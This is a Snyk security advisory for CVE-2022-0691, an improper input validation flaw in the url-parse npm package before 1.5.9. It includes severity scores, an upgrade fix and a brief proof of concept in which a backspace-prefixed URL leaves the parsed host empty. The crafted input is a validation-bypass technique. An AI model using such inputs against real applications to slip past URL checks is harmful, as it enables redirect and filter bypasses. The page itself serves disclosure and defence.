Homepage
About Snyk

Improper Input Validation Affecting url-parse package, versions <1.5.9

0.0
high

Snyk CVSS

    Attack Complexity Low
    User Interaction Required
    Confidentiality High
    Integrity High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.24% (62nd percentile)
Expand this section
NVD
9.8 critical
Expand this section
Red Hat
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-URLPARSE-2407770
  • published 21 Feb 2022
  • disclosed 21 Feb 2022
  • credit haxatron
Report a new vulnerability Found a mistake?

Introduced: 21 Feb 2022

CVE-2022-0691 Open this link in a new tab
CWE-20 Open this link in a new tab

How to fix?

Upgrade url-parse to version 1.5.9 or higher.

Overview

url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.

Affected versions of this package are vulnerable to Improper Input Validation due to improper fix of CVE-2020-8124 , it is possible to be exploited via the \b (backspace) character.

PoC: 

const parse = require('./index.js')

url = parse('\bhttp://google.com')

console.log(url)

Output:

{
  slashes: false,
  protocol: '',
  hash: '',
  query: '',
  pathname: '\bhttp://google.com',
  auth: '',
  host: '',
  port: '',
  hostname: '',
  password: '',
  username: '',
  origin: 'null',
  href: '\bhttp://google.com'
}

References